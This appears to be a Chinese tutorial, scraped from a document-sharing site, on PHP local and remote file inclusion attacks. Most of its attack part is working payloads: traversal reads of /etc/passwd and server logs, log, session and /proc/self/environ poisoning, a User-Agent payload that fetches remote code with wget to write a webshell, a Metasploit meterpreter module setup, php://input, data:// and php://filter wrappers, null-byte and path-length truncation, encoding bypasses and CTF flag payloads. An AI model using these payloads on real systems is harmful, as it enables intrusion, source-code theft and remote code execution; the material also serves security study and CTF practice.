![PHP文件包含漏洞的形式總結(jié)_第1頁](http://file4.renrendoc.com/view/551c406591262d0a54b5a696b6b6dec8/551c406591262d0a54b5a696b6b6dec81.gif)
![PHP文件包含漏洞的形式總結(jié)_第2頁](http://file4.renrendoc.com/view/551c406591262d0a54b5a696b6b6dec8/551c406591262d0a54b5a696b6b6dec82.gif)
![PHP文件包含漏洞的形式總結(jié)_第3頁](http://file4.renrendoc.com/view/551c406591262d0a54b5a696b6b6dec8/551c406591262d0a54b5a696b6b6dec83.gif)
![PHP文件包含漏洞的形式總結(jié)_第4頁](http://file4.renrendoc.com/view/551c406591262d0a54b5a696b6b6dec8/551c406591262d0a54b5a696b6b6dec84.gif)
![PHP文件包含漏洞的形式總結(jié)_第5頁](http://file4.renrendoc.com/view/551c406591262d0a54b5a696b6b6dec8/551c406591262d0a54b5a696b6b6dec85.gif)
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
PHP文件包含漏洞的形式總結(jié)原理文件包含漏洞的產(chǎn)生原因是在通過PHP的函數(shù)引入文件時,由于傳入的文件名沒有經(jīng)過合理的校驗,從而操作了預(yù)想之外的文件,就可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入。php中引發(fā)文件包含漏洞的通常是以下四個函數(shù):1、include()當(dāng)使用該函數(shù)包含文件時,只有代碼執(zhí)行到include()函數(shù)時才將文件包含進來,發(fā)生錯誤時只給出一個警告,繼續(xù)向下執(zhí)行。2、include_once()功能和include()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。3、require()只要程序一執(zhí)行就會立即調(diào)用文件,發(fā)生錯誤的時候會輸出錯誤信息,并且終止腳本的運行4、require_once()它的功能與require()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。當(dāng)使用這四個函數(shù)包含一個新文件時,該文件將作為PHP代碼執(zhí)行,php內(nèi)核并不在意該被包含的文件是什么類型。所以如果被包含的是txt文件、圖片文件、遠程url、也都將作為PHP代碼執(zhí)行。這一特性,在實施攻擊時非常有用。利用條件(1)include等函數(shù)通過動態(tài)執(zhí)行變量的方式引入需要包含的文件;(2)用戶能控制該動態(tài)變量。分類文件包含漏洞可以分為RFI(遠程文件包含)和LFI(本地文件包含漏洞)兩種。而區(qū)分他們最簡單的方法就是php.ini中是否開啟了allow_url_include。如果開啟了我們就有可能包含遠程文件。1、本地文件包含LFI(LocalFileInclude)2、遠程文件包含RFI(RemoteFileInclude)(需要php.ini中allow_url_include=on、allow_url_fopen=On)在php.ini中,allow_url_fopen默認一直是On,而allow_url_include從php5.2之后就默認為Off。一、本地包含包含同目錄下的文件1?file=test.txt目錄遍歷:1?file=./../../test.txt./當(dāng)前目錄../上一級目錄,這樣的遍歷目錄來讀取文件包含圖片木馬命令行下執(zhí)行:1copyx.jpg/b+s.php/bf.jpg上傳f.jpg、找到f.jpg路徑、包含f.jpg包含日志利用條件:需要知道服務(wù)器日志的存儲路徑,且日志文件可讀。很多時候,web服務(wù)器會將請求寫入到日志文件中,比如說apache。在用戶發(fā)起請求時,會將請求寫入access.log,當(dāng)發(fā)生錯誤時將錯誤寫入error.log。默認情況下,日志保存路徑在/var/log/apache2/。1?file=../../../../../../../../../var/log/apache/error.log1、提交如下請求,將payload插入日志2、可以嘗試?yán)肬A插入payload到日志文件3、MSF攻擊模塊12345678useexploit/unix/webapp/php_includesetrhost28setrport80setphpuri/index.php?file=xxLFIxxsetpath47/setpayloadphp/meterpreter/bind_tcpsetsrvport8888exploit-z日志默認路徑apache+Linux日志默認路徑1/etc/httpd/logs/access_log或者1/var/log/httpd/accesslogapache+win2003日志默認路徑12D:/xampp/apache/logs/access.logD:/xampp/apache/logs/error.logIIS6.0+win2003默認日志文件1C:/WINDOWS/system32/LogfilesIIS7.0+win2003默認日志文件1%SystemDrive%/inetpub/logs/LogFilesnginx日志文件在用戶安裝目錄的logs目錄下如安裝目錄為/usr/local/nginx,則日志目錄就是在1/usr/local/nginx/logs也可通過其配置文件Nginx.conf,獲取到日志的存在路徑1/opt/nginx/logs/access.logweb中間件默認配置apache+linux默認配置文件1/etc/httpd/conf/httpd.conf或者1index.php?page=/etc/init.d/httpdIIS6.0+win2003配置文件1C:/Windows/system32/inetsrv/metabase.xmlIIS7.0+WIN配置文件1C:/Windows/System32/inetsrv/config/application/Host.config包含session利用條件:session文件路徑已知,且其中內(nèi)容部分可控。PHP默認生成的Session文件往往存放在/tmp目錄下1/tmp/sess_SESSIONID1?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7session文件一般在/tmp目錄下,格式為sess_[yourphpsessidvalue],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell包含/proc/self/environ文件利用條件:1、php以cgi方式運行,這樣environ才會保持UA頭。2、environ文件存儲位置已知,且environ文件可讀。姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之后再包含它,即可。1?file=../../../../../../../proc/self/environ選擇User-Agent寫代碼如下:1<?system('wget/oneword.txt-Oshell.php');?>然后提交請求。包含臨時文件php中上傳文件,會創(chuàng)建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。由于包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數(shù)有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。另一種方法phpinfo來獲取臨時文件的路徑以及名稱,然后臨時文件在極短時間被刪除的時候,需要競爭時間包含臨時文件拿到webshell。有防御的本地文件包含審計中可見這樣的包含模版文件:1234<?php
$file=$_GET['file'];
include'/var/www/html/'.$file.'/test/test.php';?>這段代碼指定了前綴和后綴:這樣就很“難”直接去包含前面提到的種種文件。1、%00截斷能利用00截斷的場景現(xiàn)在應(yīng)該很少了PHP內(nèi)核是由C語言實現(xiàn)的,因此使用了C語言中的一些字符串處理函數(shù)。在連接字符串時,0字節(jié)(\x00)將作為字符串的結(jié)束符。所以在這個地方,攻擊者只要在最后加入一個0字節(jié),就能截斷file變量之后的字符串。1?file=../../../../../../../../../etc/passwd%00需要magic_quotes_gpc=off,PHP小于5.3.4有效2、%00截斷目錄遍歷:1?file=../../../../../../../../../var/www/%00需要magic_quotes_gpc=off,unix文件系統(tǒng),比如FreeBSD,OpenBSD,NetBSD,Solaris3、路徑長度截斷:1?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.php版本小于5.2.8可以成功,linux需要文件名長于4096,windows需要長于256利用操作系統(tǒng)對目錄最大長度的限制,可以不需要0字節(jié)而達到截斷的目的。我們知道目錄字符串,在window下256字節(jié)、linux下4096字節(jié)時會達到最大值,最大值長度之后的字符將被丟棄。而利用"./"的方式即可構(gòu)造出超長目錄字符串:4、點號截斷:1?file=../../../../../../../../../boot.ini/………[…]…………php版本小于5.2.8可以成功,只適用windows,點號需要長于2565、編碼繞過服務(wù)器端常常會對于../等做一些過濾,可以用一些編碼來進行繞過。下面這些總結(jié)來自《白帽子講Web安全》。利用url編碼:1../-》%2e%2e%2f-》..%2f-》%2e%2e/1..\-》%2e%2e%5c-》..%5c-》%2e%2e\二次編碼:1../-》%252e%252e%252f1..\-》%252e%252e%255c二、遠程文件包含1?file=[http|https|ftp]:///shell.txt可以有三種,http、https、ftp有防御的遠程文件包含1234<?php
$basePath=$_GET['path'];
require_once$basePath."/action/m_share.php";
?>攻擊者可以構(gòu)造類似如下的攻擊URL123path=http://localhost/test/solution.php?=path=http://localhost/test/solution.php%23產(chǎn)生的原理:1/?path=http://localhost/test/solution.php?最終目標(biāo)應(yīng)用程序代碼實際上執(zhí)行了:12require_once"http://localhost/test/solution.php?/action/m_share.php";注意,這里很巧妙,問號"?"后面的代碼被解釋成URL的querystring,這也是一種"截斷"思想,和%00一樣攻擊者可以在http://localhost/test/solution.php上模擬出相應(yīng)的路徑,從而使之吻合PHP中的封裝協(xié)議(偽協(xié)議)1/manual/zh/wrappers.php1234567891011121314file:///var/www/html訪問本地文件系統(tǒng)ftp://<login>:<password>@<ftpserveraddress>訪問FTP(s)URLsdata://數(shù)據(jù)流http://—訪問HTTP(s)URLsftp://—訪問FTP(s)URLsphp://—訪問各個輸入/輸出流zlib://—壓縮流data://—Data(RFC2397)glob://—查找匹配的文件路徑模式phar://—PHPArchivessh2://—SecureShell2rar://—RARogg://—Audiostreamsexpect://—處理交互式的流利用php流input:利用條件:1、allow_url_include=On。2、對allow_url_fopen不做要求。123index.php?file=php://inputPOST:<?phpinfo();?>結(jié)果將在index.php所在文件下的文件shell.php內(nèi)增加"<?phpphpinfo();?>"一句話利用php流filter:1?file=php://filter/convert.base64-encode/resource=index.php通過指定末尾的文件,可以讀取經(jīng)base64加密后的文件源碼,之后再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。其他姿勢:1index.php?file=php://filter/convert.base64-encode/resource=index.php效果跟前面一樣,少了read等關(guān)鍵字。在繞過一些waf時也許有用。利用dataURIs:利用條件:1、php版本大于等于php5.22、allow_url_fopen=On3、allow_url_include=On利用data://偽協(xié)議進行代碼執(zhí)行的思路原理和php://是類似的,都是利用了PHP中的流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中1?file=data:text/plain,<?phpphpinfo();?>1?file=data:text/plain;base64,base64編碼的payload1index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b加號+的url編碼為%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解碼為:<?phpphpinfo();?>需要allow_url_include=On利用XSS執(zhí)行任意代碼:1?file=/path/xss.php?xss=phpcode利用條件:1、allow_url_fopen=On2、并且防火墻或者白名單不允許訪問外網(wǎng)時,先在同站點找一個XSS漏洞,包含這個頁面,就可以注入惡意代碼了。條件非常極端和特殊glob://偽協(xié)議glob://查找匹配的文件路徑模式phar://利用條件:1、php版本大于等于php5.3.0姿勢:假設(shè)有個文件phpinfo.txt,其內(nèi)容為<?phpphpinfo();?>,打包成zip壓縮包,如下:指定絕對路徑1index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt或者使用相對路徑(這里test.zip就在當(dāng)前目錄下)1index.php?file=phar://test.zip/phpinfo.txtzip://利用條件:1、php版本大于等于php5.3.0123456<?php$file=$_GET['file'];if(isset($file)&&strtolower(substr($file,-4))==".jpg"){
include($file);}?>截取過來的后面4格字符,判斷是不是jpg,如果是jpg才進行包含但使用zip協(xié)議,需要指定絕對路徑,同時將#編碼為%23,之后填上壓縮包內(nèi)的文件。然后我們構(gòu)造zip://php.zip#php.jpg12index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg注意事項:1、若是使用相對路徑,則會包含失敗。2、協(xié)議原型:zip://archive.zip#dir/file.txt3、注意url編碼,因為這個#會和url協(xié)議中的#沖突CTF中的文件包含套路php偽協(xié)議讀取源碼點擊login,發(fā)現(xiàn)鏈接變?yōu)椋?52:1/index.php?action=login.php推測文件包含訪問:152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php得到源碼貪婪包含iscc2018的一道題目,打開題目查看源碼知道這里調(diào)用show.php?img=1.jpg訪問,并修改1的值大概可以猜測文件包含漏洞,嘗試1img=php://filter/read=convert.base64-encode/resource=show.php但是不行題目的坑點在于還需要包含jpg,這就是貪婪包含所在,也就是后臺某處代碼所致,12curl
img=php://filter/resource=jpg/resource=show.php12345678910111213141516171819202122232425262728293031323334<?phperror_reporting(0);ini_set('display_errors','Off');include('config.php');$img=$_GET['img'];if(isset($img)&&!empty($img)){
if(strpos($img,'jpg')!==false)
{
if(strpos($img,'resource=')!==false&&preg_match('/resource=.*jpg/i',$img)===0)
{
die('Filenotfound.');
}
preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img=$matches[1];
}
header('Content-Type:image/jpeg');
$data=get_contents($img);
echo$data;
}
else
{
die('Filenotfound.');
}}else{
?>
<imgsrc="1.jpg">
<?php}?>1、開頭包含了config.php2、img必須有jpg但又不能有resource=.*jpg3、正則檢查了并把結(jié)果填充到$matches里去,說明我們可以使用php://filter偽協(xié)議,并且resource的值不含|,那么我們就可以用|來分隔php和jpg,因為正則匹配到|就不會繼續(xù)匹配后面的jpg了,使得\$img=show.php知道了config.php再去訪問明白為什么必須包含jpg1234567891011121314<?phpfunctionget_contents($img){
if(strpos($img,'jpg')!==false)
{
returnfile_get_contents($img);
}
else
{
header('Content-Type:text/html');
returnfile_get_contents($img);
}}?>最終payload:1img=php://filter/resource=../flag.php|jpg%00截斷要求:1、php版本小于5.3.42、magic_quotes_gpc為off狀態(tài)大多數(shù)的文件包含漏洞都是需要截斷的,因為正常程序里面包含的文件代碼一般是include(BASEPATH.$mod.’.php’)或者include($mod.’.php’)這樣的方式,如果我們不能寫入.php為擴展名的文件,那我們是需要截斷來利用的受限與gpc和addslashes等函數(shù)的過濾,另外,php5.3之后的版本全面修復(fù)了%00截斷的問題123<?phpinclude($_GET['a'].'.php')?>上傳我們的2.txt文件,請求1http://localhost/test/1.php?a=2.txt%00即可執(zhí)行2.txt中phpinfo的代碼列子二漏洞文件index.php12345678910<?phpif(empty($_GET["file"])){
echo('../flag.php');
return;}else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include$filename;}?>flag文件放在上層目錄這里限制了后綴名,我們需要通過截斷才能訪問到flag文件利用代碼:1index.php?file=../../flag.php%00%00會被解析為0x00,所以導(dǎo)致截斷的發(fā)生我們通過截斷成功的繞過了后綴限制路徑長度截斷我們現(xiàn)在已經(jīng)知道使用%00截斷有兩個條件php版本小于5.3.4和magic_quotes_gpc為off狀態(tài)。如果這時我們將magic_quotes_gpc改為on那么就不能截斷了,因為開啟magic_quotes_gpc后%00會被加上一個反斜杠轉(zhuǎn)義掉那么我們這時候有沒有辦法繞過這個限制呢?有一個條件那就是php版本小于5.3.10我們的代碼依舊不變漏洞文件index.php12345678910<?phpif(emp
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 木工承包合同內(nèi)腳手架
- 啤酒銷售合同書
- 農(nóng)村住房安全保障工程實施指南
- 網(wǎng)站維護與SEO優(yōu)化作業(yè)指導(dǎo)書
- 投資理財與風(fēng)險防范作業(yè)指導(dǎo)書
- 2025年甘肅貨運從業(yè)資格證題目答案
- 2025年三明道路貨運駕駛員從業(yè)資格證考試題庫完整
- 2025年貨車從業(yè)資格證答題軟件
- 2024-2025學(xué)年四年級語文上冊第二單元明月4走月亮作業(yè)設(shè)計北師大版
- 個人前臺自我總結(jié)
- 2025年電力鐵塔市場分析現(xiàn)狀
- GB 12158-2024防止靜電事故通用要求
- 2025-2030年中國清真食品行業(yè)運行狀況及投資發(fā)展前景預(yù)測報告
- 廣東省茂名市電白區(qū)2024-2025學(xué)年七年級上學(xué)期期末質(zhì)量監(jiān)測生物學(xué)試卷(含答案)
- 《教育強國建設(shè)規(guī)劃綱要(2024-2035年)》全文
- 中國服裝零售行業(yè)發(fā)展環(huán)境、市場運行格局及前景研究報告-智研咨詢(2025版)
- 臨床提高膿毒性休克患者1h集束化措施落實率PDCA品管圈
- JBT 14727-2023 滾動軸承 零件黑色氧化處理 技術(shù)規(guī)范 (正式版)
- 水利工程地震應(yīng)急預(yù)案
- 日歷表空白每月打印計劃表
- 危險化學(xué)品建設(shè)項目安全評價流程.doc
評論
0/150
提交評論